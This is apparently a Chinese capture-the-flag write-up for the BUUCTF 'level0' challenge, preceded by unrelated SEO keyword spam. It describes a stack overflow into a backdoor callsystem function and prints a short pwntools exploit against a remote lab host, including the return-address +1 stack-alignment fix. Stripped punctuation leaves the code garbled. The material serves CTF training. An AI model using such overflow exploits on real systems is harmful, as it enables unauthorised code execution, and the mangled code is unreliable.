网站被惩罚之后怎么做,萝岗区营销型网站建设,上海企业服务云定位,企业年金离职的时候怎么办目录 一、分析二、EXP三、本地打不通#xff1f;远程能打通#xff1f; 一、分析
查看文件信息 关键信息
64位程序栈不可执行
IDA64反汇编 进入第一个函数 栈溢出 shift F12查找字符串 点进去 发现是一个后门函数
二、EXP
from pwn import *context.arch amd64
#… 目录 一、分析二、EXP三、本地打不通远程能打通 一、分析
查看文件信息 关键信息
64位程序栈不可执行
IDA64反汇编 进入第一个函数 栈溢出 shift F12查找字符串 点进去 发现是一个后门函数
二、EXP
from pwn import *context.arch amd64
# p process(/tmp/pwn/level0)
p remote(node4.buuoj.cn,28644)
elf ELF(/tmp/pwn/level0)
callsystem elf.symbols[callsystem]
p.sendline(flat([ba*128, a*8, callsystem]))p.interactive()三、本地打不通远程能打通
修改代码处
p.sendline(flat([ba*128, a*8, callsystem 1]))为什么地址地址 1就可以执行了呢
参考该文章 64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令这个指令要求内存地址必须16字节对齐 跳过了push rbp之后rsp就少压栈了8字节此时栈16位对齐